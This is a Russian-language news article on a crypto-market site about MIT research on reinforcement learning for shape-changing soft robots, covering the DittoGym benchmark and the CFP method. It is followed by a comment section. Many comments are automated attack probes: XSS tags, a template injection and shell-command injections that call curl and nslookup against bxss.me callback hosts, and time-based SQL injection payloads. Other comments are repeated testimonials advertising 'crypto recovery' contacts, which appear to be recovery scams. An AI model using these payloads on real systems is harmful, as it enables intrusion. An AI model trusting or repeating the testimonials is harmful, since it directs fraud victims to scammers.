Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Русский Русский  English English
Войти / Регистрация
Cryptocurrencies: 9512 / Markets: 114689
Market Cap: $ 3 787 132 962 593 / 24h Vol: $ 200 392 171 953 / BTC Dominance: 58.653467328398%

Н Новости

  1. Главная
  2. Новости

Прародитель T1000: алгоритм динамической морфологии мягких роботов

oci8aqhm8dkymdvculjcbjm-3hm.jpeg

Первые роботы, чей внешний вид напоминал Железного Дровосека, постепенно уступают дорогу мягким роботам, спектр применения которых растет с каждым новым исследованием. Мягкие роботы могут оперировать в условиях и средах, которые были бы недостижимы их жестким собратьям. Однако, развитие и совершенствование мягкой робототехники далеко от завершения. К примеру, ученые из Массачусетского технологического института (Кембридж, США) разработали новый метод машинного обучения, который позволит динамически управлять роботами с адаптируемой морфологией. В чем суть данного метода, насколько он эффективен, и где могут быть применены «желеобразные» роботы? Ответы на эти вопросы мы найдем в докладе ученых.

Основа исследования


Морфология — это термин, которые имеет множество применений в зависимости от направления науки, в котором он применяется. Говоря о биологии, морфология является наукой о форме и строении организмов. За миллионы лет существования планеты морфология живых организмов многократно менялась в ходе эволюции в ответ на изменения окружающей среды. Также стоит отметить изменения морфологии, которые протекают за период жизни того или иного организма. Подобные изменения могут быть разительными в аспекте габаритов (например, когда из небольшого семечка вырастает огромное дерево), так и по форме (например, когда из головастика вырастает лягушка).

Подобные биологические процессы являются практически неисчерпаемым источником вдохновения для инженеров, занимающихся разработкой новых типов роботов. Если же говорить о роботах с динамической морфологией, то необходимо обеспечить его системой, позволяющей ему верно обрабатывать изменения среды и соответствующим образом на это реагировать.

Разработка реконфигурируемых роботов пока еще сталкивается с большим числом сложностей, как в сфере материального, так и в сфере программного обеспечения. В рассматриваемом нами сегодня труде ученые определили три основные проблемы в алгоритмическом исследовании реконфигурируемых роботов и предложили способы их решения.

Как отмечают ученые описать, что такое реконфигурируемый робот, в теории достаточно легко, однако единого мнения о том, как моделировать этих роботов и как можно параметризовать их действия, пока еще нет. Ученые предлагают моделировать мягких реконфигурируемых роботов с помощью метода материальной точки* (MPM от Material Point Method), одновременно изменяя обновление напряжения Коши*, чтобы включить в него актуацию, заданную через непрерывное мышечное поле.
Метод материальной точки* — это числовой метод, используемый для моделирования поведения твердых тел, жидкостей, газов и любого объемного материала. В частности, это устойчивый метод дискретизации пространства для моделирования многофазовых взаимодействий (твердое тело-жидкость-газ).
Тензор напряжений* (иногда тензор напряжений Коши, тензор натяжений) — тензор второго ранга, описывающий механические напряжения в произвольной точке нагруженного тела, возникающих в этой точке при его (тела) малых деформациях.
Это приводит к моделированию недавно описанного реконфигурируемого магнитного робота-слизня («Reconfigurable Magnetic Slime Robot: Deformation, Adaptability, and Multifunction»). В результате появляется возможность формализовать управление реконфигурируемым роботом в задачу обучения с подкреплением, используя двумерное непрерывное мышечное поле в качестве пространства действия.

Еще более важным моментом является тот факт, что неструктурированная природа мягких роботов делает традиционные алгоритмы управления непригодными. В то время как методы, основанные на обучении, такие как обучение с подкреплением (RL от reinforcement learning), превосходны в решении множества неструктурированных задач управления, реконфигурируемые роботы представляют собой уникальную задачу из-за чрезвычайно многомерного пространства действий, необходимого даже для малейшего изменения морфологии.

Например, для успеха RL необходимо гарантировать, что случайное движение приведет к значимым морфологическим изменениям. На практике это означает, что действия должны перемещать большие части робота за раз. С другой стороны, для выполнения детальных действий, таких как ходьба, пространство действий должно поддерживать детальные действия.

Наконец, не существует стандартного эталона для детализированных реконфигурируемых роботов. Ученые представили DittoGym, первый тест RL для реконфигурируемых роботов. DittoGym — это набор из восьми долгосрочных задач, которые требуют различной степени морфологических изменений. Четыре среды требуют, чтобы робот несколько раз менял свою морфологию во время выполнения задачи.

Теоретическая основа


Метод материальной точки (MPM) — это универсальный метод компьютерного моделирования на основе частиц, широко используемый в области механики твердого тела и вычислительной физики. Будучи гибридом методов Эйлера и Лагранжа, MPM включает в себя операции как на основе сетки, так и на основе частиц. Этап сетки в первую очередь служит для обработки граничных условий, а этап частиц ориентирован на взаимодействие между тысячами частиц.

iy-h0xr0kyu9fpfao3ba57kwv4c.png
Изображение №1

На этом последнем этапе важнейшей задачей является вычисление деформации материала, также известной как напряжение Коши, поскольку она глубоко влияет на последующее движение частиц. Напряжение Коши определяется следующим уравнением:

Cauchy Stress = 2μ(Fp − r)FTp + diag(λ(Jp − 1)Jp)

где μ и λ представляют параметры материала, rp — ортогональная матрица, полученная в результате полярного разложения в MPM, а Jp — определитель Fp.

Критерий текучести фон Мизеса используется для прогнозирования момента, когда материал подвергнется пластической деформации. Градиент деформации Fp можно разложить с помощью разложения по сингулярным значениям (SVD от Singular Value Decomposition) для получения диагональной матрицы Σp, которая представляет масштаб деформации для каждой частицы. Пластическая деформация начинается, когда норма этой матрицы, обозначенная как ∥Σp∥2, превышает критерий текучести Yieldm. На этом этапе материал «забывает» свое первоначальное состояние, что требует проекции градиента деформации для учета этого отклонения от исходной конфигурации.

Ученые использовали обучение с подкреплением (RL), где задача моделировалась как марковский процесс принятия решений* (MDP от Markov Decision Process), характеризуемый пятью переменными (S, A, P, r, γ), где: S обозначает пространство состояний, A обозначает пространство действий, P: S × A → S инкапсулирует динамику перехода среды, r(s, a): S × A → R определяет количественную оценку вознаграждений, а γ ∈ (0, 1] управляет временным дисконтированием вознаграждений. Цель RL агента — получить политику πθ(at|st), параметризованную глубокой нейронной сетью.
Марковский процесс принятия решений* — математический формализм для марковского дискретного стохастического процесса управления, основа для моделирования последовательного принятия решений в ситуациях, где результаты частично случайны и частично зависят от лица, принимающего решения.

Детали разработанного метода


Как говорилось ранее, ученые определили три основные проблемы в области алгоритмизации реконфигурируемых роботов: отсутствие формализации, отсутствие соответствующего алгоритма и отсутствие эталона.

Управление реконфигурируемыми роботами — это неструктурированная задача управления, которая, естественно, подходит для методов проб и ошибок, таких как обучение с подкреплением. Таким образом, ученые формализовали задачу управления в виде строительных блоков MDP. Чтобы определить динамику перехода в MDP, необходимо формализовать реконфигурируемых мягких роботов в моделируемую систему.

qxp-dkahjp_1c4iphtg5vdogqmi.png
Изображение №2

Чтобы этого достичь, ученые использовали MPM в качестве основы моделирования мягких роботов. Как показано выше, для моделирования реалистичных деформаций ученые черпали вдохновение из предыдущих работ, вводя критерий текучести фон Мизеса в алгоритм MPM. Этот критерий моделирует робота как упругопластический материал, демонстрирующий упругую деформацию при малых напряжениях и пластическую деформацию при более высоких напряжениях.

Также была использована модификация уравнения напряжения Коши, позволяющая частицам растягивать или сжимать свою форму в ответ на сигнал действия, аналогично естественным мышцам. В результате робот демонстрирует макроскопические изменения в морфологии, когда воздействие заставляет значительную часть частиц подвергаться пластической деформации, в то время как напряжение ниже предела текучести фон Мизеса приводит к упругим деформациям, служащим пружинным механизмом, обеспечивающим например, средства передвижения.

Final Cauchy Stress = 2μ(Fp — r)FTp + diag (λ(Jp — 1)Jp) + Fp∑cp FTp

Вышеупомянутая динамика перехода MDP требует указания вектора срабатывания для каждой отдельной частицы. Стоит отметить, что MPM — это метод моделирования на основе частиц, который аппроксимирует непрерывную динамику в непрерывном пространстве. Следовательно, пространство действий должно также представлять собой непрерывное поле, где каждая координата внутри робота имеет вектор действия. Это также отражает управление магнитным роботом-слизнем с помощью внешнего магнитного поля.

Определив пространство действий, легко определить остальные компоненты MDP: состояние — это просто состояние всех частиц в моделировании MPM, тогда как существует возможность выбирать функции наблюдения и вознаграждения в индивидуальном порядке для разных сценариев среды. Таким образом, ученые формализовали абстрактную задачу управления реконфигурируемым роботом в задачу MDP, которую можно решить с помощью обучения с подкреплением.

lgugm8v8qesr6klf2dqy_vpebuy.png
Изображение №3

Модель была разработана с полностью сверточной архитектурой, что позволяет ей анализировать наблюдения на уровне пикселей за формой робота и его скоростью. На основе этого анализа она генерирует дискретные сигналы действия, которые способствуют аппроксимации идеального силового поля, как показано на изображении выше.

MDP требует бесконечномерного пространства действия в виде непрерывного двумерного силового поля, действующего на робота. Бикубическая интерполяция может интерполировать регулярную сетку n-D объектов в отображение любой координаты n-D на объект. Таким образом, параметризация была выполнена с помощью нейронной сети, которая выводит дискретную сетку действий n-D и интерполирует ее в непрерывное пространство действий.

Хотя дискретная параметризация обеспечивает дифференцируемый способ задания пространственно непрерывного действия, необходимо достаточно высокое разрешение дискретизации, чтобы контролировать мельчайшие изменения морфологии. Высокие разрешения приводят к созданию многомерного пространства действий, что оказалось сложной задачей для традиционных алгоритмов обучения с подкреплением. Ученые решили использовать полностью сверточную сеть для параметризации политики, которая может совместно использовать параметры в разных пространственных местоположениях, эффективно уменьшая размер пространства поиска. Эта сеть принимает изображения реконфигурируемого робота и его непосредственного окружения в качестве входных данных и генерирует 2D-выходные данные, которые аппроксимируют непрерывное мышечное поле посредством бикубической интерполяции.

Подготовка к опытам


Цифровые эталонные среды широко используются исследователями алгоритмов управления для ускорения своих исследований и облегчения честного сравнения. Используемый учеными в данном труде тест DittoGym учитывает отсутствие стандартизированных тестов для реконфигурируемых мягких роботов с малейшими изменениями морфологии. В набор из шести OpenAI сред Gym было включено формализованное моделирование. Для моделирования деформируемых мягких роботов и внешних объектов, взаимодействующих с ними, было реализовано моделирование соответствующих материалов в методе материальной точки (MPM от Material Point Method) с использованием фреймворка Taichi. Следовательно, DittoGym не только предоставляет удобный Python интерфейс, но также полностью использует аппаратные ускорители, такие как графические процессоры, для моделирования частиц MPM.

В качестве пространства наблюдения было использовано растровое двумерное изображение квадратной области вокруг геометрического центра робота, где в качестве каналов используются как занятость, так и скорость. Пространство действий реализовано в виде 2D-сетки срабатываний для одного и того же квадрата с максимально возможным разрешением для моделирования. Каждый двумерный вектор в двумерной сетке действий контролирует напряжение, приложенное к соответствующей точке, где величина определяет, произойдет ли пластическая или упругая деформация.

В рамках этой структуры ученые реализовали множество задач, включая сопоставление форм, локомоция, растяжение и манипулирование. Каждая задача требует морфологической адаптации для удовлетворения конкретных детальных требований, иногда требуя множественных морфологических изменений для достижения желаемых целей.

Результаты опытов


В ходе экспериментов основная задача заключалась в поиске ответов на три вопроса:

  • может ли используемая формализация в сочетании с соответствующими алгоритмами позволить моделируемым мягким роботам выполнять задачи, требующие мельчайших изменений морфологии?
  • может ли DittoGym тест в достаточной степени оценить алгоритмы, предназначенные для контроля мелких изменений морфологии мягких роботов?
  • насколько эффективна выборка CFP (от Coarse-to-Fine Policy) для управления реконфигурируемым роботом по сравнению с соответствующими базовыми показателями?

54hy_y0d35h2ye8gvhjs_eisosu.png
Изображение №4

Одним из основных результатов исследования, как отмечают ученые, является формализация управления реконфигурируемым роботом в задаче обучения с подкреплением. На изображении №1 была визуализирована многоэтапная задача, которую можно реализовать с помощью исследуемой платформы. На изображении выше показаны четыре дополнительных задания из DittoGym, которые требуют от робота изменения своей морфологии во время их выполнения.

В задаче «SHAPE MATCH» робот может успешно имитировать форму целевого символа, подчеркивая способность робота перенастраиваться под произвольные целевые формы.

В задаче «GROW» учится удлинять и изгибать свое тело. Эта новая форма позволяет роботу обходить препятствия и достигать целевой точки, подобно тому, как это делают семена в процессе произрастания.

В задаче «OBSTACLE» робот удлиняет свое тело и наклоняется вперед, чтобы использовать силу гравитации и быстро преодолеть препятствие. Впоследствии робот формирует два отростка, похожие на ноги, и использует их для ходьбы, обеспечивая эффективное продвижение вперед.

Наконец, для задачи «SLOT» робот уменьшает свою высоту, одновременно отращивая две очень короткие ноги, чтобы маневрировать в исключительно узком пространстве, напоминая мышь, бегущую по трубе. Чтобы открыть деревянную крышку на конце трубы, робот удаляет ноги и вытягивает туловище вверх, чтобы эффективно взаимодействовать с крышкой.

6yd6kuoh2qs0kmaxzrfie-u6sa8.png
Изображение №5

Прежде чем количественно оценить CFP по сравнению с базовыми показателями в DittoGym, необходимо доказать, что DittoGym действительно требует мельчайших изменений морфологии, чтобы мягкий робот достигал высоких результатов.

В количественном отношении ученые использовали экспертные политики, обученные с учетом каждой детализации пространства действий, и визуализировали максимальное вознаграждение, которого они могут достичь. Ученые изучили эту метрику для трех разных уровней детализации: грубого (4×4×2), среднего (8×8×2) и тонкого (16×16×2). Как показано выше, более высокое разрешение действий почти всегда приводит к более высокому возможному результату во всех 8 средах. Эта тенденция подтверждает, что DittoGym требует от агента изучения мелких морфологических изменений.

xsz5cdhnn4in7jyoe1ae8kbmlrs.png
Изображение №6

Качественно возможно визуализировать поведение экспертной политики на разных уровнях детализации. На изображении выше показана визуализация лучшей формы, которую робот может достичь в задаче «SHAPE MATCH» при различных разрешениях действий. При более грубом разрешении робот может вносить значимые изменения в форму, но не может генерировать высокочастотные детали целевой формы, такие как кончики каждого луча звезды. С другой стороны, параметризация действий с высоким разрешением позволяет роботу изменять свою морфологию, чтобы соответствовать целевой форме.

В заключении исследования ученые попытались понять, имеет ли CFP более высокую производительность по сравнению с базовыми показателями при управлении реконфигурируемыми роботами с мельчайшими изменениями морфологии. Поэтому ученые сравнили CFP и вышеупомянутые базовые показатели в 8 различных средах DittoGym.

ygxcybfkcwmau7kc0uccv0eaeay.png
Изображение №7

Выше показаны кривые результатов за единичный опыт для всех восьми сред. Тестируемый алгоритм CFP последовательно превосходит все базовые показатели во всех задачах с точки зрения общей эффективности выборки. Кроме того, CFP может постоянно получать более высокие результаты за опыт при конвергенции. При визуализации политики только CFP способен добиться успеха в долгосрочных многоэтапных средах, представляя его как единственный жизнеспособный вариант решения сложных задач.

Как количественное сравнение, так и качественный анализ демонстрируют эффективность CFP в DittoGym, иллюстрируя его уникальную способность управлять реконфигурируемыми мягкими роботами для выполнения долгосрочных задач, требующих мельчайших изменений формы.

Для более детального ознакомления с нюансами исследования рекомендую заглянуть в доклад ученых, дополнительные материалы к нему, а также на их GitHub.

Эпилог


В рассмотренном нами сегодня труде ученые рассказали о разработанном ими алгоритме, который может эффективно управлять изменениями морфологии мягких роботов для повышения эффективности выполне6ния сложных и многоэтапных задач.

Вдохновением для данного исследования, как не удивительно, стала природа. Многие организмы претерпевают морфологические изменения не только за тысячи лет эволюции, но и в период своей жизни: гусеницы превращаются в бабочек, головастики в лягушек и т. д. Научить робота подобной трансформации, даже если он обладает материальным обеспечением, крайне сложно.

Авторы исследования стали первыми, кто смог реализовать инновационную параметризацию реконфигурируемых роботов как мягкого материала, приводимого в действие мышечным полем. Затем ученые представили фреймворк CFP (от Coarse-to-Fine Policy), который использует полностью сверточную оценку состояния и параметризацию действий, дополненную учебной программой, которая гарантирует значимое исследование пространства при сохранении возможностей детального управления.

Разработанный учеными тест, названный DittoGym, использовал восемь сред, которые требуют радикальных изменений морфологии мягкого робота для выполнения поставленных задач. В результате роботы, обученные с помощью CFP, научились динамически изменять свою морфологию несколько раз в течение одного периода активности для выполнения тех или иных задач.

Несмотря на то, что мягкие роботы с динамической морфологией еще далеки от своего создания, данное исследование позволяет создать фундамент для эффективного управления такими роботами будущего. Авторы исследования также уверены, что их труд послужит вдохновением не только для создания вышеописанных роботов, но и для использования двумерных пространств для тестирования и реализации других сложных задач управления.

Немного рекламы


Спасибо, что остаётесь с нами. Вам нравятся наши статьи? Хотите видеть больше интересных материалов? Поддержите нас, оформив заказ или порекомендовав знакомым, облачные VPS для разработчиков от $4.99, уникальный аналог entry-level серверов, который был придуман нами для Вас: Вся правда о VPS (KVM) E5-2697 v3 (6 Cores) 10GB DDR4 480GB SSD 1Gbps от $19 или как правильно делить сервер? (доступны варианты с RAID1 и RAID10, до 24 ядер и до 40GB DDR4).

Dell R730xd в 2 раза дешевле в дата-центре Maincubes Tier IV в Амстердаме? Только у нас 2 х Intel TetraDeca-Core Xeon 2x E5-2697v3 2.6GHz 14C 64GB DDR4 4x960GB SSD 1Gbps 100 ТВ от $199 в Нидерландах! Dell R420 — 2x E5-2430 2.2Ghz 6C 128GB DDR3 2x960GB SSD 1Gbps 100TB — от $99! Читайте о том Как построить инфраструктуру корп. класса c применением серверов Dell R730xd Е5-2650 v4 стоимостью 9000 евро за копейки?

Источник

Теги

Категория

Новости

Дата

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. 